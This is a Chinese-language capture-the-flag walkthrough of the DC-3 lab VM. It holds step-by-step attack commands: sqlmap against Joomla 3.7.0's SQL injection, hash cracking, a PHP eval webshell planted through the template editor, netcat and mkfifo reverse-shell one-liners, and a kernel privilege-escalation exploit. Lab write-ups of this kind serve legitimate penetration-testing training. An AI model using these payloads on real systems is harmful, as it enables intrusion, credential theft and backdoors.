一、环境搭建
1、靶场描述
DC-3是另一个专门建立的易受攻击的实验室,旨在获得渗透测试领域的经验。与之前的DC版本一样,这个版本是为初学者设计的,尽管这一次只有一个标志,一个入口点,根本没有线索。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAu7上推我让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。对于那些有CTF和Boot2Root挑战经验的人来说,这可能不会花你很长时间(事实上,它可能只需要不到20分钟)。如果是这种情况,如果你想让它更具挑战性,你可以重做挑战,探索其他获得根和获得旗帜的方法。
只有一个flag
2、下载靶场环境
DC-3靶场下载地址
二、渗透靶场
1、目标:
目标就是我们搭建的靶场,靶场IP为:XXX.XXX.XXX.XXX/24
启动kali之前首先把网络配置器NAT模式
2、信息收集:寻找靶机真实IP
输入ip add查看自己的IP
输入nmap -sP 192.168.146.0/24查找真实IP(请输入自己的IP)
我的真实IP是192.68.146.131
3、信息收集:探端口及服务
输入nmap -A -p- -v 192.168.146.131扫描详细信息
发现开放了80端口,存在web服务,Apache/2.4.18,CMS为Joomla
在浏览器输入192.168.146.131(输入自己的ip)会出现以下页面
意思是;
这一次,只有一个旗帜,一个入口,没有线索
为了获得旗帜,你显然必须获得根权限。
你如何成为根用户取决于你——显然,这个系统祝你好运——我希望你喜欢这个小小的挑战。:-)
大致意思就是只有一个目标就是获取root权限
4.利用JoomScan进行扫描获取后台地址
由于我们前面采用nmap进行扫描时我们已经发现了中间件为joomla,我们可以采用joomscan进行扫描,如果我们不知道是joomla,我们可以采用目录扫描或者nikto等扫描工具进行扫描。发现更多的信息。
5.利用joomScan扫描
输入joomscan --url http://192.168.146.131这里需要安装一下输入y
输入apt install joomscan回车,安装一下
发现joomla cms版本为3.7.0
网站后台地址为http://192.168.146.131/administrator/
6.前面已经知道了CMS是joomla,并且知道了后台地址,这里需要扫描一下目录
输入nikto --url http://192.168.14.131/
7、查找漏洞发现存在SQL注入
我们前面知道了CMS为joomla,版本为3.7.0
使用searchsploit检查到有对应的漏洞
searchsploit joomla 3.7.0
我们发现有一个SQL注入,还存在一个XSS
可以看一下这个漏洞的提示信息
输入searchsploit -m 42033.txt
下面是提示的信息
看到了POC,需要验证一下,把localhost改为自己的IP就行了
意思是;
您的 SQL 语法有误;请查看对应 MySOL 服务器版本的文档,以获取行 9 附近使用的正确语法。可以利用SQL注入但是需要输入正确的语法
8、sqlmap跑出数据
1.跑出所有数据库
输入
sqlmap -u "http://192.168.146.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch
扫描出了数据库
2.获取这个数据库的名字joomladb
输入
sqlmap -u "http://192.168.146.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch
继续输入
sqlmap -u "http://192.168.146.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch
查看表名我们关注了#__users这张表
3.获取joomladb的users表中的字段名
输入
sqlmap -u "http://192.168.146.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
后面的选项都选择输入y回车
继续输入y回车
这个可以随便选择然后回车
输入10回车
然后请耐心等待。进度到百分之一百就好了
最后出来六个字段
4.获取目标字段username和password
输入
sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch
最后显示用户的名称和加密的密码
5.利用john爆破密码snoopy
创建一个1.txt把加密的密码字段写进去
输入echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwROkWFlfB1Zu'> 1.txt
然后输入cat 1.txt
使用john破解出的admin密码是snoopy
6.利用获取到的账号密码进行登录
输入192.168.146.131/administrator/
账号admin
密码snoopy
7.上传webshell
寻找上传点点击Extensions找到Templates选择Templates
点击Beez3 Details and Files
这里我们需要上传文件,要进行编辑我们的木马文件需要记住这三个,我们需要找我们要上传文件所在的目录
输入192.168.146.131/templates/beez3/html/
回到刚才的页面点击New file
点击html,File Name后面输入shell后面选择php
最后点击Create
创建成功之后,跳到编辑页面,在shell.php里面输入一句话,点击左上角绿色的save进行保存。输入的内容是
<?php
echo ("密码是a");
@eval($_REQUEST [a]);
?>
接着访问192.168.146.131/templates/beez3/html/
发现多了一个shell.php文件,我们访问一下
输入192.168.146.131/templates/beez3/html/shell.php
会显示设置好的内容
8.蚁剑管理webshell
点击右键添加数据
输入192.168.146.131/templates/beez3/html/shell.php
连接密码为a
点击测试连接右下角会显示连接成功
最后点击添加然后右键进入虚拟终端输入whoami回车发现是www-data权限
9.反弹shell到kali
蚁剑看到的终端不如kali清晰,反弹一个shell到kali
1.kali监听
输入
nc -lvvp 6666回车
2.靶机连接
输入nc -e /bin/bash 192.168.146.128 6666(这里可以在kali里面输入ip add查看一下自己的IP再进行输入,并不是靶机里的那个IP不要输错了)
发现-e参数不可用(这一步-e的参数不可用可以跳过这一步进行下一步)
然后输入下面的目录链接
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.128 6666 >/tmp/f
返回kali
10.创建交互式shell
我们建立一个交互式shell常用的就是python创建交互式shell
输入python3 -c 'import pty; pty.spawn("/bin/bash")'回车
输入ls回车
11.使用辅助脚本发现提权漏洞
1.下载辅助脚本Linux-Exploit-Suggester.sh
下载地址:
https://github.com/mzet-/linux-exploit-suggester
2.上传辅助脚本
直接在蚁剑中上传
3.发现漏洞
先输入ls回车
在输入ls -l linux-exploit-suggester.sh
发现我们并没有执行权限,我们给他加个执行文件
输入chmod +x linux-exploit-suggester.sh
执行脚本
输入./linux-exploit-suggester.sh
发现很多可利用漏洞
12.使用辅助脚本提权
1.获取提权脚本
上面发现了很多漏洞,这里我们挑一个进行提权
挑选CVE-2016-4557
在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载
可以去searchsploit里面去看看
输入searchsploit -m 39772.txt
输入cat 39772.txt回车
下面这个地址也不能用
可以用这个地址下载
bin-sploits/39772.zip · main · Exploit-DB / Binary Exploits · GitLab
下载好之后右键点击上传文件点击下载点击39772.zip点击打开
3.提权
解压文件
这里我们还需要在用kali监听一下右键进入虚拟终端
输入rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.128 6666 >/tmp/f
回车
返回kali输入
python3 -c 'import pty; pty.spawn("/bin/bash")'回车
就会回到下图这个页面
输入ls回车
在输入unzip 39772.zip回车
输入cd 39772回车
继续输入ls回车
先输入tar -xvf exploit.tar回车
在输入cd ebpf_mapfd_doubleput_exploit回车
输入./compile.sh回车
输入./doubleput.c回车
输入ls回车
最后输入./doubleput回车
执行完之后提权成功
13.发现the-flag.txt
输入whoami
获得root权限
输入cd /root回车
输入ls回车
最后输入cat the-flag.txt
出现下面的图案就代表DC-3完成了
以上就是DC-3实验靶场的实验步骤。感谢大家观看